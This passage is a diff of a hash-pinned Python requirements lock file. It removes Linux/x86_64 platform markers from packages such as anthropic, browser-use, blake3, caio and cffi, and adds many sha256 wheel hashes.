\ + --hash=sha256:5bcb6ff3fdab1258a192679ff1a05d44f59626430aa05cd1a9d2447423599228 \ + --hash=sha256:5f08ec777f35ee70720233b8b9811d3bb5d728137f30ac91b7457709c3261ac0 \ + --hash=sha256:614c61d478b83953e261d02bb2df750f17227cd33ef8002945bf5aebbde21919 \ + --hash=sha256:617105e2c3018ee38d0c8ce5ee3c84f621a6d8b9f723202aacaff28449ca91ee \ + --hash=sha256:6debfa7312ff9d4c124dc71d72e9a0a4b9e0879e48ba6fcb42bef5c3300289e2 \ --hash=sha256:7041d52c3a7fa20c9e8c182b534704abb19502c8bdcbde7ab23bfda6f642394f \ + --hash=sha256:70c987b27534f9ae1a723f47ae921571d616da21d3208282bf4c52af5164ac43 \ + --hash=sha256:74ab5b6a9fb13e873e5a90946588baecaf488745e1db1a4a5c433f971f035098 \ + --hash=sha256:78253b573e6ffab5028924fc98bc281aae05445969982a10864bc360dea2016c \ + --hash=sha256:7a75aa63cbf9b21cfaf60dc2657e19df2c2867d91707d653fee171ffeedd1371 \ + --hash=sha256:8800c996b01c2772a783e3e46f3e1abd5823029adca0df54231960de9bfefa5b \ + --hash=sha256:89176250f686cb9853c0fb7ead90e639e915b84a6f43eedc2a4e7ec21f1037f0 \ + --hash=sha256:8a5fd34f7f7410d1730d5c2ba873cacb2eed3fede366feb268a70ba22581ed8f \ + --hash=sha256:8b3b60de05f3dcb6f6a00f818bb2ec781cee4de0645f59ccaf99b1d1823b6100 \ + --hash=sha256:8f2f1c4c032c7cedd7d8da6f54c97b70266c6570c3108d3fdffee7188bb70529 \ --hash=sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc \ + --hash=sha256:9aa6e61fdf20105c4144e755bd586008ff450791d67b1c8146fdc15959c4d51c \ + --hash=sha256:9d9edccfe496b476db5f398d97b865e9a6752bcf8aec4eef8390ce20fb64bb41 \ + --hash=sha256:9fc7b5bfec6573f3ae844f457fdde5adeb713f8b8e4a81ad64fc207b49383716 \ + --hash=sha256:a0dc483c00da8b673abbb367eb6f8d8f4bcec30eb58529ea13cb42e7fd2dfa33 \ + --hash=sha256:a3a8296e7ab5c295f53f1041487cb088e1480775aafbf7fe545d93b770a0f96f \ + --hash=sha256:a3e22975f905b89a55a488c2a08f2fdb2186175349e917d48985cc468a3d4c6e \ + --hash=sha256:a4af35c443e0b1a1bd6a8af3f3485d7fda15c142751a00f3ff8090f0b93346fa \ + --hash=sha256:a94dbaae5ae27bd849c93570669bff91e0510f33a80805738e3de72a7be0447b \ + --hash=sha256:ac74facc01463f138b0da5580329cfcc82818dea5656e83ddcd11268fc12ff80 \ + --hash=sha256:ad4c8b7488d745d2ca4838ebd8ae5ba9b56341d30b1da43640e4ce87f9f49646 \ + --hash=sha256:b014a6ed7cf912e787149fdc529166d3ceabac23f26efeea3158c9aba2354e7e \ + --hash=sha256:b20032766aedf6261c7a566585a40867d092ac03a0d81592d5370ef9b054f99b \ + --hash=sha256:b2466434105a4e03113c36ec775cc2ebe6676b62eae326fa670bb607ef788c1c \ + --hash=sha256:b304db572b4368edd8dda8a2274f73156fe15558fca4a917cb8a09fc47af5963 \ + --hash=sha256:ba59d59aba08ac02fc03b0c8983ccd5ee39a199d0552ce9e6d2b4845b34d59ae \ + --hash=sha256:bd52f811e65f6fb634b1047159657c98f52b407f8efec907bcfc09da9a4c0a25 \ + --hash=sha256:bdd0e2834dce1a26c1bbe26464861e16bbe217042cbff619247c11594472518c \ + --hash=sha256:c23ec8ee9d5ab2f5421f9c7fffce208435607af27fd46d4a44e031954352838f \ + --hash=sha256:c39846c3aad97a8530c89d7a3869a8f8e9e3762c6ac0504481e5c80948f7e807 \ + --hash=sha256:c3c200cf9757edd785051dc699c7ecbec22110dbfcb3fefc7a9f9695eda8ea7a \ + --hash=sha256:c7d3a97c678d34fc5b59da671ee9cd630096ddc643e7b5a30d54a2a6f3574d3f \ + --hash=sha256:c8653fd547c93a61aadc612007790f5555cdd18946fa48cf45e26d8ea4ea473d \ + --hash=sha256:cc7cb243a68167172f48c1fd43cee91ec4b1d40cefd190edd43369d1a6bc9c82 \ + --hash=sha256:ccd4893707b3e2a13e39c90d43cf80edf2e4d0457935bcc103bf2346214c3f15 \ + --hash=sha256:cd817772b2fcf2b8c0905795318485f9ec16eae60b29feb7f4c77085311637f0 \ + --hash=sha256:cda5fd5c95ad7a125a2e8464acc78b98b94c475a3780d6aa0aa157c93f470f4d \ + --hash=sha256:cef89a58e628c4efcac3275c2d68083f82426dcdc89c1492a6f654f9f7ea6ab9 \ --hash=sha256:d1558173930a5a8d3069cee5c92fc91c87c4dbcb099debbb3622053717145a19 \ + --hash=sha256:d6088ec9894113802bddb3c09e974929aed2c7b3a8c456219b8aab4481f1a239 \ + --hash=sha256:d6218d92e450824e9b4881f44e8c09f1853b490f9a64130801024a4793b1b3b0 \ + --hash=sha256:d77640cc618c1d99fc4f8589c0f24a730adfa54eb1e57ef7bf0c8dfb78da898c \ --hash=sha256:d7d2deec16eeedf55f2c7cf75b521ea3856a5177e123844f8fd0f114ce252cb5 \ - --hash=sha256:dfa68deb2a443bdaa3ea5297b0699c1464f08aef3812b486d1348eee61b07dc0 -aiosignal==1.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:db332af25642007330fca8be5c4d194caf2bea7a7fc84415aff3497af5dfee6b \ + --hash=sha256:dd54d0e8717de95939766febac482ac0474d8ac3b048115f9f2b1d23a16e7db4 \ + --hash=sha256:ddcac3c6b382e81f1dd0499199d4136b877beb4cb5ef770bbbfba56c4b8f55d2 \ + --hash=sha256:df82f3787c940c94986b34222d59c9e38843fba85139f36e85255a82ad5355a9 \ + --hash=sha256:dfa68deb2a443bdaa3ea5297b0699c1464f08aef3812b486d1348eee61b07dc0 \ + --hash=sha256:dff9461ec275f22135650d5ba4b4931a11f3958df7dfbb8db630000d4dee0883 \ + --hash=sha256:e1e74298bab6ee0d6e749ed4fd1901c7e604bdda32c03d787a2cc71c46d0433d \ + --hash=sha256:e2667f0bbe7eb6c74eae5e9691441ad186e5845ca3cff63230fc09c4e7514f5d \ + --hash=sha256:e3be98a7c30b8c25d573dafba7171d66dfb05ee6a9070fc46535464ff97700a6 \ + --hash=sha256:e568e14940c09955aa51f4e645b6daa18a581c5dcfcd73744dcc86a856e3ced3 \ + --hash=sha256:e72ee89e28d907a18f46959b4eb0bb06701cc7f8cf4366e00029e2ccfaaf5924 \ + --hash=sha256:e92eb8acc45eb6a9f4935071a77edf5b85cc6f8dfad5cd99e97653c26593cdde \ + --hash=sha256:ea05e1f97ceea523942d9b2a7d7c0359d781d683d6b043f5943a602b14da4787 \ + --hash=sha256:eac645b09bcfdf73df7536331f0678c1086ea250981118ddb5199e17ccef72bb \ + --hash=sha256:eb0495d778817619273c108784292be161a924b9f5ae5cbbc70a2caa6838250b \ + --hash=sha256:ebe8e504f058fe91223351cecd2d9d6946c9d241bb0250d898ffbdf584cc72b0 \ + --hash=sha256:ed099d105449c4f9e84f24af203cd131349d4761d8813fa7e02c32e7128cd910 \ + --hash=sha256:f0f177d1b195b9e06376cfd7d308d8a1b920909a609d03ac82a8c73bbb16d3b9 \ + --hash=sha256:f3d2669fe7dec7fc359ecdb5984b29b50d85d5d00f8c1cb61de4f4a24ee42627 \ + --hash=sha256:f4e05329faa0ea1a404b37de4f034fd2c2defcca06a68dc6745e4e56c88e8a48 \ + --hash=sha256:f53bcd52f585e1ac3e590d61434eb61f9a88c38df041b4ea126d97144344a77b \ + --hash=sha256:f55119f7bf25f49ed210f6096090715da24f2943c62102448915fde3c62877ce \ + --hash=sha256:f631fe87a6f30df5fbe6d79640b25e4cffb38c31c7fb6f10871517b84b0f8c1a \ + --hash=sha256:f8fb78a83c9e5f741ca3a68cfb455c1f5bb83b4e7249a3848b3cd78d0a8563b0 \ + --hash=sha256:fa9467a8113aa69d3d7c55a70ef0b7c636010a40993f3df9d9d0d73b3eb7ef24 \ + --hash=sha256:fd51ebf9d3a00c074df4ede271023f4d2dba289bcc740b88191872716014e3c5 +aiosignal==1.4.0 \ --hash=sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e \ --hash=sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7 -annotated-types==0.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +annotated-types==0.7.0 \ --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 \ --hash=sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89 -anthropic==0.75.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +anthropic==0.75.0 \ --hash=sha256:e8607422f4ab616db2ea5baacc215dd5f028da99ce2f022e33c7c535b29f3dfb \ --hash=sha256:ea8317271b6c15d80225a9f3c670152746e88805a7a61e14d4a374577164965b -anyio==4.14.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +anyio==4.14.2 \ --hash=sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494 \ --hash=sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f -attrs==25.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +attrs==25.3.0 \ --hash=sha256:427318ce031701fea540783410126f03899a97ffc6f61596ad581ac2e40e3bc3 \ --hash=sha256:75d7cefc7fb576747b2c81b4442d4d4a1ce0900973527c011d1030fd3bf4af1b -authlib==1.6.12 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +authlib==1.6.12 \ --hash=sha256:0656d8482f28fc8221929d5f35b2bde5d13e10555ebc06b4561b0d622e83b1bd \ --hash=sha256:e9229ad7fde610b139dd12f5edbe97eab9ee78bfb85691247e767727850b99ab -backoff==2.2.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +backoff==2.2.1 \ --hash=sha256:03f829f5bb1923180821643f8753b0502c3b682293992485b0eef2807afa5cba \ --hash=sha256:63579f9a0628e06278f7e47b7d7d5b6ce20dc65c5e96a6f3ca99a6adca0396e8 -beartype==0.22.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +beartype==0.22.9 \ --hash=sha256:8f82b54aa723a2848a56008d18875f91c1db02c32ef6a62319a002e3e25a975f \ --hash=sha256:d16c9bbc61ea14637596c5f6fbff2ee99cbe3573e46a716401734ef50c3060c2 -beautifulsoup4==4.14.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +beautifulsoup4==4.14.2 \ --hash=sha256:2a98ab9f944a11acee9cc848508ec28d9228abfd522ef0fad6a02a72e0ded69e \ --hash=sha256:5ef6fa3a8cbece8488d66985560f97ed091e22bbc4e9c2338508a9d5de6d4515 -binaryornot==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +binaryornot==0.4.4 \ --hash=sha256:359501dfc9d40632edc9fac890e19542db1a287bbcfa58175b66658392018061 \ --hash=sha256:b8b71173c917bddcd2c16070412e369c3ed7f0528926f70cac18a6c97fd563e4 -blake3==1.0.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +blake3==1.0.9 \ + --hash=sha256:01e136de1078a9011c82beb4a1cb400644794068c0e80877415328bb46d93b47 \ + --hash=sha256:021309d760b390706fecf13498f9a25aa8f689bbb65a0896029b8fa223aae18b \ + --hash=sha256:09a69fcedf06785bb81d4d3d39f95ee65dbaf2cb246e174cfc9ff64d027f7551 \ + --hash=sha256:09deb024cd75cb200e7f647cd038800e6edc8f190c8188e0c69ec1c2b920e125 \ + --hash=sha256:0aba416bb2e3ef0c65e74d5eba21062483c714cd78e7e303c9d03c547fc7d015 \ + --hash=sha256:0cdfeff65488089ef86f7587c76055ff72b28d28d10e427b547f5711477c376d \ + --hash=sha256:128a62136c9a39c7cb9fdaa5fb38471f2418853da7f5a89f31495735d0ba6f2c \ + --hash=sha256:15566065ff90ab3da46ec0be1417406f00507af902b6fb0fbc6563e77f02fc42 \ --hash=sha256:172d44245a19dfec08ab771c1b7a506b97783163cdc65f559fe020007e403c99 \ + --hash=sha256:188127f98106309e4c477977d29ee8588ba4b153ea5a7eb9bc202d5b9f05d0f9 \ + --hash=sha256:1bbdff61e049297ef3180867ce1f079cea7e5b372fd76953c3183da5b8124206 \ + --hash=sha256:1bd981dc318c05375c3160a99df493b7cc4c83fffa1a34d14b18a071b47b262b \ + --hash=sha256:1ff480ca2bee74f56d90658a44176f0abdd9b766a181586b995fee358a9c40e7 \ + --hash=sha256:216977b1d592a60150cd5de64d5853dc6afb0eb522cb387723ae7f78f380d947 \ + --hash=sha256:249e5964fa9e768924bc7cc3d4efe75a425bb5dd3fb7671c3eda8eeddfa50591 \ + --hash=sha256:24acb1e6f31021fa08b7eb31433035facfcf0d82e964170d5eb85a30ce913ba9 \ + --hash=sha256:28404301de485e9546365d01b30f65eaa835520c4211d6ef61242975b6722b60 \ + --hash=sha256:28528d1f29e6f3d45faf3482e1197e5e175730eef38bdc74e56ee11b68e0ad0d \ + --hash=sha256:2a800b87433955f37691b5f361ad29c7dd3ee089c9cd109adc5aea8e24bc4c1f \ + --hash=sha256:2ee96daaa850700fd342a811fa10a8780fd2e8464a71b83a1779c7b6becd3dd5 \ + --hash=sha256:2f4ce45da903f3d0a7e342fa70c7cce9c10cef6b529eadb4d6213be0ab0eaf84 \ + --hash=sha256:2fd000708662b04be211a22c1095b65fe399d7276e9f3bb2fd1ef8aacc545791 \ + --hash=sha256:2fff822c0a14b1378769f26eede9577e1230b289fa9a2e9d15c751b6d5a81cd5 \ + --hash=sha256:32bd4521ec2d477627ad93eb70f9ac4d01e12d1489024159bcaeff79466332f6 \ + --hash=sha256:34c947a95a68ec103846525e3a99193f9fcf5e762e40dcce80adbb8e398abef7 \ + --hash=sha256:38e61d3b0386af16b3c03a18e0db82b626d63796274637a1fef855fd1c778d82 \ --hash=sha256:3cbe7f190164896dc3908e920716ee66bc31d40f1a0fb603ed59ac53290fb9cf \ + --hash=sha256:40bcc18675d583e23722d6c106ea3068ba705f7575f874c1ca14a6af0728ccb6 \ + --hash=sha256:42609e4adc4b2d7423137f2cb35135bca598b925c5af09d2bc0a2c368b25aeb1 \ + --hash=sha256:42fa57bf462285ef16400601b0fd32214c248ba92505bbb94b1221ab9af5a092 \ + --hash=sha256:4865a8cfb2b3d7c0baf5267f2fa6816a3384e836cd1bd0caf359f406cb1e8fba \ + --hash=sha256:4c9a8b093d0e57a9fb612dac768b329a0719c09357e7ce1e5403106a7533b5ef \ + --hash=sha256:508ccaf8f9377cc47e6026c2897fdc37de61faeb1420dc023b6379cc2474eb65 \ + --hash=sha256:54e35f3b71d5e2f5b1434a01f44cf386be2ff3dcd0ed6589eeb52a0076b2e016 \ + --hash=sha256:5b35abe24a66a7b3db423eb4f8668ed7be1a362aa9c0024ab6483ec0b2c16058 \ + --hash=sha256:5ea0c60dd9c1e3d05610606579e4bf80f562854c46ed55f9ee8545e18987a480 \ --hash=sha256:5fa374fa5070ca084368776c19b420157eb0f2d3f091343d6bc59189929d62e2 \ + --hash=sha256:65c0c20014df687694af5ccf0cec3bdb194511da8ebd50c30b0fd55c83fa4fd5 \ + --hash=sha256:66aa1c40ad019fbb5e93d603300c4478a59b98c40c7ea13ac036676c26dfb1c7 \ --hash=sha256:66c84dbc2a31eda88b55bbf5c5b711037bf0698eba0fd1faf06bdaf313c39048 \ + --hash=sha256:6879739e7904b9c42afbedbcc2e8c36cebe140fb3fc3f5c492993579cf5cd516 \ + --hash=sha256:689a7e4069de681d9c5d9445b8b6473ee880ad04d7960a6789c60bd788980250 \ + --hash=sha256:69ff5aebc7650954443aa701feff2028d7c7ea5b5e18ee265f15e2104e892328 \ + --hash=sha256:6c99afb0459c82dd13e456b6b68d45c4768b539ca998dacd3ed726f1e75e91dc \ + --hash=sha256:6edeb3d49a24c307995899b70dd47aa901d0e9ad51d2f8a79aba4f074f32d8c5 \ + --hash=sha256:6f2dd643166dfeb7cf4ad53eb2d801f944d247212d3481950b4d5b4a20551461 \ + --hash=sha256:6f5f60072fc7191d9918395bf2e701bcc60b44aeda0bf0a173abafcf49e10cff \ + --hash=sha256:72cdecf088a9d25e6ec79948a578995649b0dbee407e7a46c543a9ecc0f6f281 \ + --hash=sha256:73a48f7e9f0e047f51a445d9b0361ab1907bdc72b6857815a84dacd2e59556f8 \ + --hash=sha256:766f1555cbe614f14f399c2fbec0983568d20edb36837ba04040807eb9e1a609 \ + --hash=sha256:78833070b782bbd2b987a2a239c796f525e74d338d8cbc23557945548d5488f6 \ + --hash=sha256:7a760e8f8ac8b49761fc6a28ed5bbf6bbc8008026134498ec2b8b20f26850499 \ + --hash=sha256:8114fb2a1f6cba9cba5411d62cbcb283b2205b154d0076f20b77e22592eb2719 \ + --hash=sha256:82ecade6ac425fdfc39a4371d6d9232fd6e5c28748fd8d3489016ead17407014 \ + --hash=sha256:837e116ebedf06e48491f4c44a5e8804a864dad07cd7b897ebb507e410fed740 \ + --hash=sha256:83b4a2336105af3800f7e17ac4b943f293a3927a2d66a6308d50dba944a6953e \ + --hash=sha256:85262504baa150d64a599563d7a7bf19331fd7a2cc4c7b050cb31edfd69edbee \ + --hash=sha256:8a5917733828841e5bf6b9b7e63d62e0f70ec2cf262f5bd189db51c5a5508068 \ --hash=sha256:8a99f896e7718050ed033a888245098aab3d6a5338f91cc9450c563b53f90ad5 \ + --hash=sha256:8adb0b0032e53919ee95b3d4f911448d3268316c28cd7df232ff2a1e7c9a4ba4 \ + --hash=sha256:8cd10c6a421a7d3c81136658e52e9ef58bfcc1df04193466664eb24981784f4c \ + --hash=sha256:91db52a809b68b5bebe7c413ddcd230e1f759398e7fa7a873104595a4fa648b6 \ + --hash=sha256:94d99e6ca7d5ca684bc48f3aa9ec6e78c72c775ae223d131b9efb217389f0195 \ + --hash=sha256:95fc3545f80901b0dcd0508d16bc40f15ae39556709fa6cf86675f742d4f3c9c \ + --hash=sha256:964b642631a3c8fe117b3439c8ae64a9a0981af9444e409656d1f1e464bfa125 \ + --hash=sha256:9767f16199b99aa022b61ff825ac4dbd39864bf637ae712605a2ce1f8b6a55e0 \ + --hash=sha256:9c0570338b4e3f6dc7943196edb029e0e4f74fd55d9703a40028f5b6c9c09dc5 \ + --hash=sha256:9cef6d4d07a7de0c44f5ba17f6383d55276d9efc8d601f75113538fcaa35008b \ + --hash=sha256:a288664d08dee154cc496e06e62517fc9e655ecec12b0d7db538d244ac79edf1 \ + --hash=sha256:a517f0460007edec3767595115c520ed1f157ddd0ed23dddbf6b9d8b0082afb6 \ + --hash=sha256:a70c20542d5e7960983a0ff32999049a2b0e5ef1f22dbbbdfb51cf04828a4156 \ + --hash=sha256:aa6e5c7533c915a24d840ae4be787e9a6059be7e77944b005b3d967a0257a17d \ + --hash=sha256:ab0c030cf6644c30e786b0e785bde4e4596013ae9ea6ce9877e39d52383e25d7 \ + --hash=sha256:ae47c3d5729ff89baa6ddf6de47fcfcc915985d39eb1bfcd6db653331f3c6fcc \ + --hash=sha256:b25ccde5a64be070f20e5c7a81da70292db40b164b6c77588cbd6230856badbb \ + --hash=sha256:b27550ada40f839aca64c66127940e4318bb6ef3e291890ef913017f6f637448 \ + --hash=sha256:b4102ba86b86c992a931b4a88c58a632d6097461e14a1e63ebd2ecb98ff0898f \ + --hash=sha256:b5d5bf0f68cd77108a942c95db98e960d9c3d5643b95172f783822ce22667759 \ + --hash=sha256:b5e1f21b49492d01fa5a02084894c491ab9e7a1867fced107f7126c80d067c94 \ + --hash=sha256:b985eb08db76550ec97444e03b10acd737baa03fd98aaf3b8455a1c644c8f5d6 \ + --hash=sha256:b9f7205531b41674316de9f15592c13ad3ebcedadb562fda8bbd8641c6f6ef8f \ + --hash=sha256:baebf1ebe6ccad936730a651dd74d40433debc6e19cbb34357222050fbf31189 \ + --hash=sha256:bb5e6c80e7c0825aa7223bca0dd2c6e7ea506db7ec734094631ce5efdae7a554 \ + --hash=sha256:bca166d0b01c00dcf2a936f790ed947bd9079b0a0a7df1b76746f201aa4f4ac4 \ --hash=sha256:bcd56a7a972c4185070f7042ccc20166927eec3c0f98b8405f375d007b604a0b \ + --hash=sha256:c32a1f7ffa0a88c4f8dfb75f87297e8f076d3a63f714da99f7e763d8c435e14f \ + --hash=sha256:c755044ba7bec3d03dae44b968194112f0eb0e8c4523465f3dd9e1a87e178d89 \ --hash=sha256:c7f648fa425138452d1e585ac625c7aefddb946d9765906c4c12d564a1523cd8 \ + --hash=sha256:ca7dfe8fb197ff8a3f5c915424183ccd52a99e8afb12680f51b2e1f4c9c6c97f \ + --hash=sha256:caded2806d2cbeed638c5e2517ed8b2a94165b3452fda35e72896142d22070e0 \ --hash=sha256:cfaa671b07eb73883162ca940442193868358b0b904cfa266e4b74131ce966da \ - --hash=sha256:f65d77eb05331495485048f6804f53885b192b998acb7e6fe1487d941bf08435 -browser-use==0.11.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:d1ea0bf17b184b03444007646d902207d2b4d4f3e91a0cac3836552d83db74b9 \ + --hash=sha256:d819457dccfd82fe34684ec99e36725f747bd5761a0e17f537387fb31d121193 \ + --hash=sha256:d9d13051df059730efe83c6df142ba5a2ad67b82d50f9a62f3a556d6c2af201e \ + --hash=sha256:dab59b324aa65c09e937d6c43de5de85ec9581627f4e79dcc9806d85b54a1c34 \ + --hash=sha256:dad0a8a716dd201860f8e82011a340e6bdd5ee37a8eb4357b48ac64c4e6de1c2 \ + --hash=sha256:e448a4f985b3e4709541dbce057e5bb073527001613f8eeb1ce2705988262f9d \ + --hash=sha256:e779710aa52a0fe4ad96cd6bcbcd5aee1bcee7a748221394e4a39a58b21d0bac \ + --hash=sha256:e9e1d0392624c2f9d049d786f0dc547ce818d2f2b356bcf1c4d74b6f9cc026b4 \ + --hash=sha256:eca281fedcbe5c56655bd5a4176e6036eddbbe57df96114a03838fce08b1e0ca \ + --hash=sha256:f169519c7ef25ef2c446b05e2f08e7e59fae312d569f98a3134b38d4caf7abd4 \ + --hash=sha256:f5c9d57f0dcb92243b6ae575c3065793edc9df9008d0ebd98d8245cdeb7c3f84 \ + --hash=sha256:f65d77eb05331495485048f6804f53885b192b998acb7e6fe1487d941bf08435 \ + --hash=sha256:f9d8b6c6af52a8ff499debf5fd15d7395e0ed837ec2a80fd828b4c6b970de3ed \ + --hash=sha256:fe3c59f8a7b5460fd374b264559c5da7af0a33657a9eca95fff6d843f02cde9e +browser-use==0.11.9 \ --hash=sha256:a66accf4dded24d056eb2733e354e159fd7d82cab986d75dc0f14b395467c82c \ --hash=sha256:c3d8a420acf26d26c688c42916358ba546e7159e1a699c06064b899cb7927577 -browser-use-sdk==2.0.15 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +browser-use-sdk==2.0.15 \ --hash=sha256:0832ae0998736e6386457e6cf506e2820db0d626c4d9dbf0f567ea2b6c6888d3 \ --hash=sha256:5d8ba3836070c67a9774baac556b233e22f266823d3dee34295d98869bec7752 -bubus==1.5.6 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +bubus==1.5.6 \ --hash=sha256:1a5456f0a576e86613a7bd66e819891b677778320b6e291094e339b0d9df2e0d \ --hash=sha256:254ae37cd9299941f5e9d6afb11f8e3ce069f83e5b9476f88c6b2e32912f237d -cachetools==7.1.8 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +cachetools==7.1.8 \ --hash=sha256:1221d547a0b24b7f26fa891d40d488b5258beab9aebd8ed68c729be3af849c43 \ --hash=sha256:a81e3844acaa7355b6567f97bd67a94a14ec3a9bc2cbbdae45b9592cc036775b -caio==0.9.25 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +caio==0.9.25 \ --hash=sha256:06c0bb02d6b929119b1cfbe1ca403c768b2013a369e2db46bfa2a5761cf82e40 \ --hash=sha256:0998210a4d5cd5cb565b32ccfe4e53d67303f868a76f212e002a8554692870e6 \ --hash=sha256:0ba16aa605ccb174665357fc729cf500679c2d94d5f1458a6f0d5ca48f2060a7 \ --hash=sha256:16498e7f81d1d0f5a4c0ad3f2540e65fe25691376e0a5bd367f558067113ed10 \ + --hash=sha256:1a177d4777141b96f175fe2c37a3d96dec7911ed9ad5f02bac38aaa1c936611f \ --hash=sha256:44a6b58e52d488c75cfaa5ecaa404b2b41cc965e6c417e03251e868ecd5b6d77 \ + --hash=sha256:4fa69eba47e0f041b9d4f336e2ad40740681c43e686b18b191b6c5f4c5544bfb \ + --hash=sha256:628a630eb7fb22381dd8e3c8ab7f59e854b9c806639811fc3f4310c6bd711d79 \ --hash=sha256:6bebf6f079f1341d19f7386db9b8b1f07e8cc15ae13bfdaff573371ba0575d69 \ --hash=sha256:97084e4e30dfa598449d874c4d8e0c8d5ea17d2f752ef5e48e150ff9d240cd64 \ - --hash=sha256:9ed3cfb28c0e99fec5e208c934e5c157d0866aa9c32aa4dc5e9b6034af6286b7 -cdp-use==1.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:9ed3cfb28c0e99fec5e208c934e5c157d0866aa9c32aa4dc5e9b6034af6286b7 \ + --hash=sha256:ab52e5b643f8bbd64a0605d9412796cd3464cb8ca88593b13e95a0f0b10508ae \ + --hash=sha256:ae3d62587332bce600f861a8de6256b1014d6485cfd25d68c15caf1611dd1f7c \ + --hash=sha256:bf61d7d0c4fd10ffdd98ca47f7e8db4d7408e74649ffaf4bef40b029ada3c21b \ + --hash=sha256:bf84bfa039f25ad91f4f52944452a5f6f405e8afab4d445450978cd6241d1478 \ + --hash=sha256:ca6c8ecda611478b6016cb94d23fd3eb7124852b985bdec7ecaad9f3116b9619 \ + --hash=sha256:d6956d9e4a27021c8bd6c9677f3a59eb1d820cc32d0343cea7961a03b1371965 \ + --hash=sha256:d6c2a3411af97762a2b03840c3cec2f7f728921ff8adda53d7ea2315a8563451 \ + --hash=sha256:db9b5681e4af8176159f0d6598e73b2279bb661e718c7ac23342c550bd78c241 \ + --hash=sha256:fab6078b9348e883c80a5e14b382e6ad6aabbc4429ca034e76e730cf464269db \ + --hash=sha256:fb7ff95af4c31ad3f03179149aab61097a71fd85e05f89b4786de0359dffd044 \ + --hash=sha256:fc220b8533dcf0f238a6b1a4a937f92024c71e7b10b5a2dfc1c73604a25709bc +cdp-use==1.4.4 \ --hash=sha256:330a848b517006eb9ad1dc468aa6434d913cf0c6918610760c36c3fdfdba0fab \ --hash=sha256:e37e80e067db2653d6fdf953d4ff9e5d80d75daa27b7c6d48c0261cccbef73e1 -certifi==2025.8.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +certifi==2025.8.3 \ --hash=sha256:e564105f78ded564e3ae7c923924435e1daa7463faeab5bb932bc53ffae63407 \ --hash=sha256:f6c12493cfb1b06ba2ff328595af9350c65d6644968e5d3a2ffd78699af217a5 -cffi==2.0.0 ; platform_machine == 'x86_64' and platform_python_implementation != 'PyPy' and sys_platform == 'linux' \ +cffi==2.0.0 \ + --hash=sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb \ + --hash=sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b \ + --hash=sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f \ + --hash=sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9 \ + --hash=sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44 \ + --hash=sha256:0f6084a0ea23d05d20c3edcda20c3d006f9b6f3fefeac38f59262e10cef47ee2 \ + --hash=sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c \ + --hash=sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75 \ + --hash=sha256:1cd13c99ce269b3ed80b417dcd591415d3372bcac067009b6e0f59c7d4015e65 \ + --hash=sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e \ + --hash=sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a \ + --hash=sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e \ + --hash=sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25 \ + --hash=sha256:2081580ebb843f759b9f617314a24ed5738c51d2aee65d31e02f6f7a2b97707a \ + --hash=sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe \ + --hash=sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b \ + --hash=sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91 \ --hash=sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592 \ --hash=sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187 \ + --hash=sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c \ --hash=sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1 \ + --hash=sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94 \ --hash=sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba \ + --hash=sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb \ + --hash=sha256:3f4d46d8b35698056ec29bca21546e1551a205058ae1a181d871e278b0b28165 \ --hash=sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529 \ + 